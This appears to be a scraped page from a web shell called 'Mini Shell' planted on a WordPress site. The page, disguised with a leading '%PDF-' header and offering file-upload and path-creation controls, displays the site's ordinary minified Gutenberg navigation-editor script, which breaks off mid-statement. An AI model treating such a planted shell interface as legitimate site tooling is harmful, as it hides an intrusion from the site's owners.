%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/dordingu/public_html/hardkjarni/wp-content/plugins/gutenberg/build/edit-navigation/
Upload File :
Create Path :
Current File : /home/dordingu/public_html/hardkjarni/wp-content/plugins/gutenberg/build/edit-navigation/index.min.js

(()=>{var e={4403:(e,t)=>{var n;!function(){"use strict";var a={}.hasOwnProperty;function r(){for(var e=[],t=0;t<arguments.length;t++){var n=arguments[t];if(n){var o=typeof n;if("string"===o||"number"===o)e.push(n);else if(Array.isArray(n)){if(n.length){var i=r.apply(null,n);i&&e.push(i)}}else if("object"===o)if(n.toString===Object.prototype.toString)for(var l in n)a.call(n,l)&&n[l]&&e.push(l);else e.push(n.toString())}}return e.join(" ")}e.exports?(r.default=r,e.exports=r):void 0===(n=function(){return r}.apply(t,[]))||(e.exports=n)}()}},t={};function n(a){var r=t[a];if(void 0!==r)return r.exports;var o=t[a]={exports:{}};return e[a](o,o.exports,n),o.exports}n.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return n.d(t,{a:t}),t},n.d=(e,t)=>{for(var a in t)n.o(t,a)&&!n.o(e,a)&&Object.defineProperty(e,a,{enumerable:!0,get:t[a]})},n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),n.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var a={};(()=>{"use strict";n.r(a),n.d(a,{__unstableCreateMenuPreloadingMiddleware:()=>Zt,initialize:()=>nn});var e={};n.r(e),n.d(e,{getNavigationPostForMenu:()=>x});var t={};n.r(t),n.d(t,{getNavigationPostForMenu:()=>A,hasResolvedNavigationPost:()=>D,isInserterOpened:()=>T});var r={};n.r(r),n.d(r,{saveNavigationPost:()=>O,setIsInserterOpened:()=>Y});var o={};n.r(o),n.d(o,{disableComplementaryArea:()=>Re,enableComplementaryArea:()=>Pe,pinItem:()=>Ae,setDefaultComplementaryArea:()=>xe,setFeatureDefaults:()=>Fe,setFeatureValue:()=>Le,toggleFeature:()=>Te,unpinItem:()=>De});var i={};n.r(i),n.d(i,{getActiveComplementaryArea:()=>Oe,isFeatureActive:()=>ze,isItemPinned:()=>Ve});const l=window.wp.element,s=window.wp.blocks,c=window.wp.blockLibrary,u=window.wp.data,d=window.wp.coreData,m=window.wp.i18n,p="root",g="menu",v="root",h="navigationPost",_="core/edit-navigation",E="edit-navigation/menu",f="edit-navigation/block-inspector",b="_blank",y=(0,u.combineReducers)({blockInserterPanel:function(){let e=arguments.length>0&&void 0!==arguments[0]&&arguments[0],t=arguments.length>1?arguments[1]:void 0;return"SET_IS_INSERTER_OPENED"===t.type?t.value:e}}),w=e=>`navigation-post-${e}`;function k(e){return e.attributes.__internalRecordId}function S(e,t){return{...e,attributes:{...e.attributes||{},__internalRecordId:t}}}const M=e=>["core/navigation-link","core/navigation-submenu"].includes(e.name),N=window.lodash;function I(e){if(!e)return null;const t=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"id",n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"parent";const a=Object.create(null),r=[];for(const n of e)a[n[t]]={...n,children:[]};for(const o of e)o[n]?(a[o[n]]=a[o[n]]||{},a[o[n]].children=a[o[n]].children||[],a[o[n]].children.push(a[o[t]])):r.push(a[o[t]]);return r}(e);return C(t)}function C(e){const t=[...e].sort(((e,t)=>e.menu_order-t.menu_order));return t.map((e=>{var t;if("block"===e.type){const[t]=(0,s.parse)(e.content.raw);return t||(0,s.createBlock)("core/freeform",{content:e.content})}const n=B(e),a=null!==(t=e.children)&&void 0!==t&&t.length?C(e.children):[],r=null!=a&&a.length?"core/navigation-submenu":"core/navigation-link";return(0,s.createBlock)(r,n,a)})).map(((e,n)=>S(e,t[n].id)))}function B(e){var t;let{title:n,xfn:a,classes:r,attr_title:o,object:i,object_id:l,description:s,url:c,type:u,target:d}=e;return i&&"post_tag"===i&&(i="tag"),{label:(null==n?void 0:n.rendered)||"",...(null===(t=i)||void 0===t?void 0:t.length)&&{type:i},kind:(null==u?void 0:u.replace("_","-"))||"custom",url:c||"",...(null==a?void 0:a.length)&&a.join(" ").trim()&&{rel:a.join(" ").trim()},...(null==r?void 0:r.length)&&r.join(" ").trim()&&{className:r.join(" ").trim()},...(null==o?void 0:o.length)&&{title:o},...l&&"custom"!==i&&{id:l},...(null==s?void 0:s.length)&&{description:s},...d===b&&{opensInNewTab:!0}}}const x=e=>async t=>{let{registry:n,dispatch:a}=t;if(!e)return;const r=P(e);a(R(r));const o=[v,h,r.id];n.dispatch(d.store).startResolution("getEntityRecord",o);const i=await n.resolveSelect(d.store).getMenuItems(function(e){return{menus:e,per_page:-1}}(e)),l=function(e){const t=I(e);return(0,s.createBlock)("core/navigation",{orientation:"vertical"},t)}(i),c=P(e,l);a(R(c)),n.dispatch(d.store).finishResolution("getEntityRecord",o)},P=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;const n=w(e);return{id:n,slug:n,status:"draft",type:"page",blocks:t?[t]:[],meta:{menuId:e}}},R=e=>t=>{let{registry:n}=t;n.dispatch(d.store).receiveEntityRecords(v,h,e,{id:e.id},!1)},A=(0,u.createRegistrySelector)((e=>(t,n)=>D(t,n)?e(d.store).getEditedEntityRecord(v,h,w(n)):null)),D=(0,u.createRegistrySelector)((e=>(t,n)=>e(d.store).hasFinishedResolution("getEntityRecord",[v,h,w(n)])));function T(){let e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];return!(null==e||!e.blockInserterPanel)}const L=window.wp.notices,F="core/edit-navigation",O=e=>async t=>{let{registry:n,dispatch:a}=t;const r=await n.dispatch(d.store).__unstableAcquireStoreLock(F,["savingMenu"],{exclusive:!0});try{const t=e.meta.menuId;await n.dispatch(d.store).saveEditedEntityRecord("root","menu",t,{throwOnError:!0});const o=await a(V(e.blocks[0],t));n.dispatch(d.store).receiveEntityRecords(v,h,e,void 0);const i={...e,blocks:[o]};n.dispatch(d.store).receiveEntityRecords(v,h,i,void 0),n.dispatch(L.store).createSuccessNotice((0,m.__)("Navigation saved."),{type:"snackbar"})}catch(e){const t=e?(0,m.sprintf)(
/* translators: %s: The text of an error message (potentially untranslated). */
(0,m.__)("Unable to save: '%s'"),e.message):(0,m.__)("Unable to save: An error ocurred.");n.dispatch(L.store).createErrorNotice(t,{type:"snackbar"})}finally{n.dispatch(d.store).__unstableReleaseStoreLock(r)}},V=(e,t)=>async n=>{let{dispatch:a,registry:r}=n;const o=await r.resolveSelect(d.store).getMenuItems({menus:t,per_page:-1}),i=await a(z(e)),l=await a(G(i,t)),s=o.map((e=>{let{id:t}=e;return t})).filter((e=>!U(l).map(k).includes(e)));return await a(j(s)),l},z=e=>async t=>{let{registry:n}=t;const a=U(e).filter((e=>M(e)&&!k(e))),r=a.map((()=>e=>{let{saveEntityRecord:t}=e;return t("root","menuItem",{title:(0,m.__)("Menu item"),url:"#placeholder",menu_order:1})})),o=await n.dispatch(d.store).__experimentalBatch(r),i=new Map(a.map(((e,t)=>[e,o[t]])));return $(e,(e=>i.has(e)?S(e,i.get(e).id):e))},G=(e,t)=>async n=>{let{registry:a}=n;const r=H(e),o=r.filter((e=>{let{block:t}=e;return!M(t)})).map((e=>{let{block:t}=e;return t.name}));o.length&&window.console.warn((0,m.sprintf)(// translators: %s: Name of block (i.e. core/legacy-widget)
(0,m.__)('The following blocks haven\'t been saved because they are not supported: "%s".'),o.join('", "')));const i=r.filter((e=>{let{block:t}=e;return M(t)})).map((e=>{let{block:n,parentBlock:r,childIndex:o}=e;return function(e,t,n,a,r){const{menus:o,meta:i,_links:l,...c}=t;let u;return(t=c).content=(0,N.get)(t.content,"raw",t.content),u=M(e)?(e=>{var t;let{label:n="",url:a="",description:r,rel:o,className:i,title:l,type:s,id:c,kind:u,opensInNewTab:d}=e;return s&&"tag"===s&&(s="post_tag"),{title:n,url:a,...(null==r?void 0:r.length)&&{description:r},...(null==o?void 0:o.length)&&{xfn:null==o?void 0:o.trim().split(" ")},...(null==i?void 0:i.length)&&{classes:null==i?void 0:i.trim().split(" ")},...(null==l?void 0:l.length)&&{attr_title:l},...(null===(t=s)||void 0===t?void 0:t.length)&&{object:s},...(null==u?void 0:u.length)&&{type:null==u?void 0:u.replace("-","_")},...c&&"custom"!==s&&{object_id:c},target:d?b:""}})(e.attributes):{type:"block",content:(0,s.serialize)(e)},{...t,...u,content:u.content||"",id:k(e),menu_order:a+1,menus:r,parent:n||0,status:"publish"}}(n,a.select(d.store).getMenuItem(k(n)),k(r),o,t)})).filter((e=>(a.dispatch(d.store).editEntityRecord("root","menuItem",e.id,e,{undoIgnore:!0}),a.select(d.store).hasEditsForEntityRecord("root","menuItem",e.id)))),l=i.map((e=>t=>{let{saveEditedEntityRecord:n}=t;return n("root","menuItem",e.id)}));return await a.dispatch(d.store).__experimentalBatch(l),i.forEach((e=>{const t=a.select(d.store).getLastEntitySaveError("root","menuItem",e.id);if(t)throw new Error(t.message)})),$(e,(e=>{if(!M(e))return e;const t=a.select(d.store).getMenuItem(k(e));return S({...e,attributes:B(t)},t.id)}))},j=e=>async t=>{let{registry:n}=t;const a=e.map((e=>async t=>{let{deleteEntityRecord:n}=t;const a=await n("root","menuItem",e,{force:!0});if(!a)throw new Error(e);return a}));return await n.dispatch(d.store).__experimentalBatch(a)};function H(e){return(e.innerBlocks||[]).flatMap(((t,n)=>[{block:t,parentBlock:e,childIndex:n}].concat(H(t))))}function U(e){return H(e).map((e=>{let{block:t}=e;return t}))}function $(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null,a=arguments.length>3&&void 0!==arguments[3]?arguments[3]:0;return{...t(e,n,a),innerBlocks:(e.innerBlocks||[]).map(((n,a)=>$(n,t,e,a)))}}function Y(e){return{type:"SET_IS_INSERTER_OPENED",value:e}}const q=(0,u.createReduxStore)(F,{reducer:y,selectors:t,resolvers:e,actions:r});function W(){return W=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var a in n)Object.prototype.hasOwnProperty.call(n,a)&&(e[a]=n[a])}return e},W.apply(this,arguments)}(0,u.register)(q);const J=window.wp.hooks,K=window.wp.compose,Q=window.wp.blockEditor;function X(){return(0,l.createElement)(Q.InnerBlocks.ButtonBlockAppender,{isToggle:!0})}function Z(e){let{blockEdit:t,...n}=e;const a=n.clientId,{noBlockSelected:r,isSelected:o,isImmediateParentOfSelectedBlock:i,selectedBlockHasDescendants:s}=(0,u.useSelect)((e=>{var t;const{getClientIdsOfDescendants:n,hasSelectedInnerBlock:r,getSelectedBlockClientId:o}=e(Q.store),i=r(a,!1),l=o(),s=!(null===(t=n([l]))||void 0===t||!t.length);return{isSelected:l===a,noBlockSelected:!l,isImmediateParentOfSelectedBlock:i,selectedBlockHasDescendants:s}}),[a]),c=!!(r||o||i&&!s)&&X;return(0,l.createElement)(t,W({},n,{customAppender:c}))}const ee=(0,K.createHigherOrderComponent)((e=>t=>"core/navigation"!==t.name?(0,l.createElement)(e,t):(0,l.createElement)(Z,W({blockEdit:e},t))),"withNavigationEditorCustomAppender"),te=window.wp.components,ne=window.wp.primitives,ae=(0,l.createElement)(ne.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,l.createElement)(ne.Path,{d:"M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z"}));function re(e){const{editEntityRecord:t}=(0,u.useDispatch)(d.store),n=[p,g,e],{editedMenu:a,hasLoadedEditedMenu:r}=(0,u.useSelect)((t=>({editedMenu:e&&t(d.store).getEditedEntityRecord(...n),hasLoadedEditedMenu:t(d.store).hasFinishedResolution("getEditedEntityRecord",[...n])})),[e]);return{editedMenu:a,menuEntityData:n,editMenuEntityRecord:t,hasLoadedEditedMenu:r}}function oe(e,t){return(0,d.useEntityProp)(p,g,e,t)}const ie=e=>{const t=e("core"),n={per_page:-1};return{menus:t.getMenus(n),hasLoadedMenus:t.hasFinishedResolution("getMenus",[n])}},le=window.wp.dom,se=window.wp.preferences;function ce(){var e;const t=null!==(e=(0,u.useSelect)((e=>e(se.store).get("core/edit-navigation","selectedMenuId")),[]))&&void 0!==e?e:null,{set:n}=(0,u.useDispatch)(se.store);return[t,(0,l.useCallback)((e=>n("core/edit-navigation","selectedMenuId",e)),[n])]}const ue=window.wp.apiFetch;var de=n.n(ue);const me=(e,t)=>Object.values(e).filter((e=>{let{menu:n}=e;return n===t})).map((e=>{let{name:t}=e;return t})),pe=()=>(0,u.useSelect)((e=>{const{getBlockOrder:t}=e(Q.store),n=t()[0];return{navBlockClientId:n,lastNavBlockItemIndex:t(n).length}}),[]),ge=(0,m.__)("(untitled menu)"),ve=(0,l.createContext)();function he(e){const{menuItems:t,hasResolvedMenuItems:n=!1}=(0,u.useSelect)((t=>{if(!e)return{};const{getMenuItems:n,hasFinishedResolution:a}=t(d.store),r={menus:e,per_page:-1};return{menuItems:n(r),hasResolvedMenuItems:a("getMenuItems",[r])}}),[e]);return{menuItems:t,hasResolvedMenuItems:n}}const _e={variant:"tertiary"},Ee={position:"bottom center"},fe=(0,l.forwardRef)((function(e,t){let{onCreate:n}=e;const[a,r]=(0,l.useState)(),[o,i]=(0,l.useState)(!1),[c]=ce(),[u]=oe("name",c),{isResolvingPages:p,menus:g,isResolvingMenus:v,menuItems:h,hasResolvedMenuItems:_,pages:E,hasPages:f,hasMenus:b}=function(e){const{records:t,isResolving:n,hasResolved:a}=(0,d.useEntityRecords)("root","menu",[{per_page:-1}]),{records:r,isResolving:o,hasResolved:i}=(0,d.useEntityRecords)("postType","page",{parent:0,order:"asc",orderby:"id",per_page:-1});return{pages:r,isResolvingPages:o,hasResolvedPages:i,hasPages:!(!i||null==r||!r.length),menus:t,isResolvingMenus:n,hasResolvedMenus:a,hasMenus:!(!a||null==t||!t.length),...he(e)}}(a),y=p||v,w=(0,l.useCallback)((()=>{const{innerBlocks:e}=I(h);n(e,!0)}),[h,I,n]);(0,l.useEffect)((()=>{o&&_&&(w(),i(!1))}),[o,_]);const k=null==g?void 0:g.filter((e=>e.id!==c)),S=!(null==k||!k.length);return(0,l.createElement)(te.Placeholder,{className:"edit-navigation-block-placeholder",label:u,instructions:(0,m.__)("This menu is empty. You can start blank and choose what to add, add your existing pages, or add the content of another menu.")},(0,l.createElement)("div",{className:"edit-navigation-block-placeholder__controls"},y&&(0,l.createElement)("div",{ref:t},(0,l.createElement)(te.Spinner,null)),!y&&(0,l.createElement)("div",{ref:t,className:"edit-navigation-block-placeholder__actions"},(0,l.createElement)(te.Button,{variant:"tertiary",onClick:()=>{n([])}},(0,m.__)("Start blank")),f?(0,l.createElement)(te.Button,{variant:b?"tertiary":"primary",onClick:()=>{const e=function(e){return null!=e&&e.length?e.map((e=>{let{title:t,type:n,link:a,id:r}=e;return(0,s.createBlock)("core/navigation-link",{type:n,id:r,url:a,label:t.rendered?t.rendered:(0,m.__)("(no title)"),opensInNewTab:!1})})):null}(E);n(e,!0)}},(0,m.__)("Add all pages")):void 0,S?(0,l.createElement)(te.DropdownMenu,{text:(0,m.__)("Copy existing menu"),icon:ae,toggleProps:_e,popoverProps:Ee},(e=>{let{onClose:t}=e;return(0,l.createElement)(te.MenuGroup,null,k.map((e=>(0,l.createElement)(te.MenuItem,{onClick:()=>{r(e.id),_?w():i(!0)},onClose:t,key:e.id},e.name))))})):void 0)))})),be=(0,K.createHigherOrderComponent)((e=>t=>"core/navigation"!==t.name?(0,l.createElement)(e,t):(0,l.createElement)(e,W({},t,{customPlaceholder:fe}))),"withNavigationEditorPlaceholder");var ye=n(4403),we=n.n(ye);const ke=(0,l.createElement)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,l.createElement)(ne.Path,{d:"M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z"})),Se=(0,l.createElement)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,l.createElement)(ne.Path,{d:"M11.776 4.454a.25.25 0 01.448 0l2.069 4.192a.25.25 0 00.188.137l4.626.672a.25.25 0 01.139.426l-3.348 3.263a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.362.263l-4.138-2.175a.25.25 0 00-.232 0l-4.138 2.175a.25.25 0 01-.363-.263l.79-4.607a.25.25 0 00-.071-.222L4.754 9.881a.25.25 0 01.139-.426l4.626-.672a.25.25 0 00.188-.137l2.069-4.192z"})),Me=(0,l.createElement)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,l.createElement)(ne.Path,{fillRule:"evenodd",d:"M9.706 8.646a.25.25 0 01-.188.137l-4.626.672a.25.25 0 00-.139.427l3.348 3.262a.25.25 0 01.072.222l-.79 4.607a.25.25 0 00.362.264l4.138-2.176a.25.25 0 01.233 0l4.137 2.175a.25.25 0 00.363-.263l-.79-4.607a.25.25 0 01.072-.222l3.347-3.262a.25.25 0 00-.139-.427l-4.626-.672a.25.25 0 01-.188-.137l-2.069-4.192a.25.25 0 00-.448 0L9.706 8.646zM12 7.39l-.948 1.921a1.75 1.75 0 01-1.317.957l-2.12.308 1.534 1.495c.412.402.6.982.503 1.55l-.362 2.11 1.896-.997a1.75 1.75 0 011.629 0l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39z",clipRule:"evenodd"})),Ne=window.wp.viewport,Ie=(0,l.createElement)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,l.createElement)(ne.Path,{d:"M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z"})),Ce=window.wp.deprecated;var Be=n.n(Ce);const xe=(e,t)=>({type:"SET_DEFAULT_COMPLEMENTARY_AREA",scope:e,area:t}),Pe=(e,t)=>n=>{let{registry:a,dispatch:r}=n;t&&(a.select(se.store).get(e,"isComplementaryAreaVisible")||a.dispatch(se.store).set(e,"isComplementaryAreaVisible",!0),r({type:"ENABLE_COMPLEMENTARY_AREA",scope:e,area:t}))},Re=e=>t=>{let{registry:n}=t;n.select(se.store).get(e,"isComplementaryAreaVisible")&&n.dispatch(se.store).set(e,"isComplementaryAreaVisible",!1)},Ae=(e,t)=>n=>{let{registry:a}=n;if(!t)return;const r=a.select(se.store).get(e,"pinnedItems");!0!==(null==r?void 0:r[t])&&a.dispatch(se.store).set(e,"pinnedItems",{...r,[t]:!0})},De=(e,t)=>n=>{let{registry:a}=n;if(!t)return;const r=a.select(se.store).get(e,"pinnedItems");a.dispatch(se.store).set(e,"pinnedItems",{...r,[t]:!1})};function Te(e,t){return function(n){let{registry:a}=n;Be()("dispatch( 'core/interface' ).toggleFeature",{since:"6.0",alternative:"dispatch( 'core/preferences' ).toggle"}),a.dispatch(se.store).toggle(e,t)}}function Le(e,t,n){return function(a){let{registry:r}=a;Be()("dispatch( 'core/interface' ).setFeatureValue",{since:"6.0",alternative:"dispatch( 'core/preferences' ).set"}),r.dispatch(se.store).set(e,t,!!n)}}function Fe(e,t){return function(n){let{registry:a}=n;Be()("dispatch( 'core/interface' ).setFeatureDefaults",{since:"6.0",alternative:"dispatch( 'core/preferences' ).setDefaults"}),a.dispatch(se.store).setDefaults(e,t)}}const Oe=(0,u.createRegistrySelector)((e=>(t,n)=>{var a;const r=e(se.store).get(n,"isComplementaryAreaVisible");if(void 0!==r)return r?null==t||null===(a=t.complementaryAreas)||void 0===a?void 0:a[n]:null})),Ve=(0,u.createRegistrySelector)((e=>(t,n,a)=>{var r;const o=e(se.store).get(n,"pinnedItems");return null===(r=null==o?void 0:o[a])||void 0===r||r})),ze=(0,u.createRegistrySelector)((e=>(t,n,a)=>(Be()("select( 'core/interface' ).isFeatureActive( scope, featureName )",{since:"6.0",alternative:"select( 'core/preferences' ).get( scope, featureName )"}),!!e(se.store).get(n,a)))),Ge=(0,u.combineReducers)({complementaryAreas:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"SET_DEFAULT_COMPLEMENTARY_AREA":{const{scope:n,area:a}=t;return e[n]?e:{...e,[n]:a}}case"ENABLE_COMPLEMENTARY_AREA":{const{scope:n,area:a}=t;return{...e,[n]:a}}}return e}}),je=(0,u.createReduxStore)("core/interface",{reducer:Ge,actions:o,selectors:i});(0,u.register)(je);const He=window.wp.plugins,Ue=(0,He.withPluginContext)(((e,t)=>({icon:t.icon||e.icon,identifier:t.identifier||`${e.name}/${t.name}`}))),$e=Ue((function(e){let{as:t=te.Button,scope:n,identifier:a,icon:r,selectedIcon:o,name:i,...s}=e;const c=t,d=(0,u.useSelect)((e=>e(je).getActiveComplementaryArea(n)===a),[a]),{enableComplementaryArea:m,disableComplementaryArea:p}=(0,u.useDispatch)(je);return(0,l.createElement)(c,W({icon:o&&d?o:r,onClick:()=>{d?p(n):m(n,a)}},s))})),Ye=e=>{let{smallScreenTitle:t,children:n,className:a,toggleButtonProps:r}=e;const o=(0,l.createElement)($e,W({icon:Ie},r));return(0,l.createElement)(l.Fragment,null,(0,l.createElement)("div",{className:"components-panel__header interface-complementary-area-header__small"},t&&(0,l.createElement)("span",{className:"interface-complementary-area-header__small-title"},t),o),(0,l.createElement)("div",{className:we()("components-panel__header","interface-complementary-area-header",a),tabIndex:-1},n,o))},qe=()=>{};function We(e){let{name:t,as:n=te.Button,onClick:a,...r}=e;return(0,l.createElement)(te.Fill,{name:t},(e=>{let{onClick:t}=e;return(0,l.createElement)(n,W({onClick:a||t?function(){(a||qe)(...arguments),(t||qe)(...arguments)}:void 0},r))}))}We.Slot=function(e){let{name:t,as:n=te.ButtonGroup,fillProps:a={},bubblesVirtually:r,...o}=e;return(0,l.createElement)(te.Slot,{name:t,bubblesVirtually:r,fillProps:a},(e=>{if(!l.Children.toArray(e).length)return null;const t=[];l.Children.forEach(e,(e=>{let{props:{__unstableExplicitMenuItem:n,__unstableTarget:a}}=e;a&&n&&t.push(a)}));const a=l.Children.map(e,(e=>!e.props.__unstableExplicitMenuItem&&t.includes(e.props.__unstableTarget)?null:e));return(0,l.createElement)(n,o,a)}))};const Je=We,Ke=e=>{let{__unstableExplicitMenuItem:t,__unstableTarget:n,...a}=e;return(0,l.createElement)(te.MenuItem,a)};function Qe(e){let{scope:t,target:n,__unstableExplicitMenuItem:a,...r}=e;return(0,l.createElement)($e,W({as:e=>(0,l.createElement)(Je,W({__unstableExplicitMenuItem:a,__unstableTarget:`${t}/${n}`,as:Ke,name:`${t}/plugin-more-menu`},e)),role:"menuitemcheckbox",selectedIcon:ke,name:n,scope:t},r))}function Xe(e){let{scope:t,...n}=e;return(0,l.createElement)(te.Fill,W({name:`PinnedItems/${t}`},n))}Xe.Slot=function(e){let{scope:t,className:n,...a}=e;return(0,l.createElement)(te.Slot,W({name:`PinnedItems/${t}`},a),(e=>(null==e?void 0:e.length)>0&&(0,l.createElement)("div",{className:we()(n,"interface-pinned-items")},e)))};const Ze=Xe;function et(e){let{scope:t,children:n,className:a}=e;return(0,l.createElement)(te.Fill,{name:`ComplementaryArea/${t}`},(0,l.createElement)("div",{className:a},n))}const tt=Ue((function(e){let{children:t,className:n,closeLabel:a=(0,m.__)("Close plugin"),identifier:r,header:o,headerClassName:i,icon:s,isPinnable:c=!0,panelClassName:d,scope:p,name:g,smallScreenTitle:v,title:h,toggleShortcut:_,isActiveByDefault:E,showIconLabels:f=!1}=e;const{isActive:b,isPinned:y,activeArea:w,isSmall:k,isLarge:S}=(0,u.useSelect)((e=>{const{getActiveComplementaryArea:t,isItemPinned:n}=e(je),a=t(p);return{isActive:a===r,isPinned:n(p,r),activeArea:a,isSmall:e(Ne.store).isViewportMatch("< medium"),isLarge:e(Ne.store).isViewportMatch("large")}}),[r,p]);!function(e,t,n,a,r){const o=(0,l.useRef)(!1),i=(0,l.useRef)(!1),{enableComplementaryArea:s,disableComplementaryArea:c}=(0,u.useDispatch)(je);(0,l.useEffect)((()=>{a&&r&&!o.current?(c(e),i.current=!0):i.current&&!r&&o.current?(i.current=!1,s(e,t)):i.current&&n&&n!==t&&(i.current=!1),r!==o.current&&(o.current=r)}),[a,r,e,t,n])}(p,r,w,b,k);const{enableComplementaryArea:M,disableComplementaryArea:N,pinItem:I,unpinItem:C}=(0,u.useDispatch)(je);return(0,l.useEffect)((()=>{E&&void 0===w&&!k&&M(p,r)}),[w,E,p,r,k]),(0,l.createElement)(l.Fragment,null,c&&(0,l.createElement)(Ze,{scope:p},y&&(0,l.createElement)($e,{scope:p,identifier:r,isPressed:b&&(!f||S),"aria-expanded":b,label:h,icon:f?ke:s,showTooltip:!f,variant:f?"tertiary":void 0})),g&&c&&(0,l.createElement)(Qe,{target:g,scope:p,icon:s},h),b&&(0,l.createElement)(et,{className:we()("interface-complementary-area",n),scope:p},(0,l.createElement)(Ye,{className:i,closeLabel:a,onClose:()=>N(p),smallScreenTitle:v,toggleButtonProps:{label:a,shortcut:_,scope:p,identifier:r}},o||(0,l.createElement)(l.Fragment,null,(0,l.createElement)("strong",null,h),c&&(0,l.createElement)(te.Button,{className:"interface-complementary-area__pin-unpin-item",icon:y?Se:Me,label:y?(0,m.__)("Unpin from toolbar"):(0,m.__)("Pin to toolbar"),onClick:()=>(y?C:I)(p,r),isPressed:y,"aria-expanded":y}))),(0,l.createElement)(te.Panel,{className:d},t)))}));tt.Slot=function(e){let{scope:t,...n}=e;return(0,l.createElement)(te.Slot,W({name:`ComplementaryArea/${t}`},n))};const nt=tt,at=(0,l.forwardRef)((function(e,t){let{footer:n,header:a,sidebar:r,secondarySidebar:o,notices:i,content:s,drawer:c,actions:u,labels:d,className:p,shortcuts:g}=e;const v=(0,te.__unstableUseNavigateRegions)(g);!function(e){(0,l.useEffect)((()=>{const t=document&&document.querySelector(`html:not(.${e})`);if(t)return t.classList.toggle(e),()=>{t.classList.toggle(e)}}),[e])}("interface-interface-skeleton__html-container");const h={
/* translators: accessibility text for the nav bar landmark region. */
drawer:(0,m.__)("Drawer"),
/* translators: accessibility text for the top bar landmark region. */
header:(0,m.__)("Header"),
/* translators: accessibility text for the content landmark region. */
body:(0,m.__)("Content"),
/* translators: accessibility text for the secondary sidebar landmark region. */
secondarySidebar:(0,m.__)("Block Library"),
/* translators: accessibility text for the settings landmark region. */
sidebar:(0,m.__)("Settings"),
/* translators: accessibility text for the publish landmark region. */
actions:(0,m.__)("Publish"),
/* translators: accessibility text for the footer landmark region. */
footer:(0,m.__)("Footer"),...d};return(0,l.createElement)("div",W({},v,{ref:(0,K.useMergeRefs)([t,v.ref]),className:we()(p,"interface-interface-skeleton",v.className,!!n&&"has-footer")}),!!c&&(0,l.createElement)("div",{className:"interface-interface-skeleton__drawer",role:"region","aria-label":h.drawer,tabIndex:"-1"},c),(0,l.createElement)("div",{className:"interface-interface-skeleton__editor"},!!a&&(0,l.createElement)("div",{className:"interface-interface-skeleton__header",role:"region","aria-label":h.header,tabIndex:"-1"},a),(0,l.createElement)("div",{className:"interface-interface-skeleton__body"},!!o&&(0,l.createElement)("div",{className:"interface-interface-skeleton__secondary-sidebar",role:"region","aria-label":h.secondarySidebar,tabIndex:"-1"},o),!!i&&(0,l.createElement)("div",{className:"interface-interface-skeleton__notices"},i),(0,l.createElement)("div",{className:"interface-interface-skeleton__content",role:"region","aria-label":h.body,tabIndex:"-1"},s),!!r&&(0,l.createElement)("div",{className:"interface-interface-skeleton__sidebar",role:"region","aria-label":h.sidebar,tabIndex:"-1"},r),!!u&&(0,l.createElement)("div",{className:"interface-interface-skeleton__actions",role:"region","aria-label":h.actions,tabIndex:"-1"},u))),!!n&&(0,l.createElement)("div",{className:"interface-interface-skeleton__footer",role:"region","aria-label":h.footer,tabIndex:"-1"},n))})),rt=(0,l.createElement)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,l.createElement)(ne.Path,{d:"M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z"}));function ot(e){let{as:t=te.DropdownMenu,className:n,label:
/* translators: button label text should, if possible, be under 16 characters. */
a=(0,m.__)("Options"),popoverProps:r,toggleProps:o,children:i}=e;return(0,l.createElement)(t,{className:we()("interface-more-menu-dropdown",n),icon:rt,label:a,popoverProps:{position:"bottom left",...r,className:we()("interface-more-menu-dropdown__content",null==r?void 0:r.className)},toggleProps:{tooltipPosition:"bottom",...o}},(e=>i(e)))}const it=window.wp.htmlEntities;function lt(){const{enableComplementaryArea:e}=(0,u.useDispatch)(je),[t]=ce(),[n]=oe("name",t),[,a]=(0,l.useContext)(ve),r=(0,it.decodeEntities)(null!=n?n:ge);return(0,l.createElement)(Q.BlockControls,null,(0,l.createElement)(te.ToolbarGroup,null,(0,l.createElement)(te.ToolbarButton,{"aria-label":(0,m.sprintf)(// translators: %s: the name of a menu.
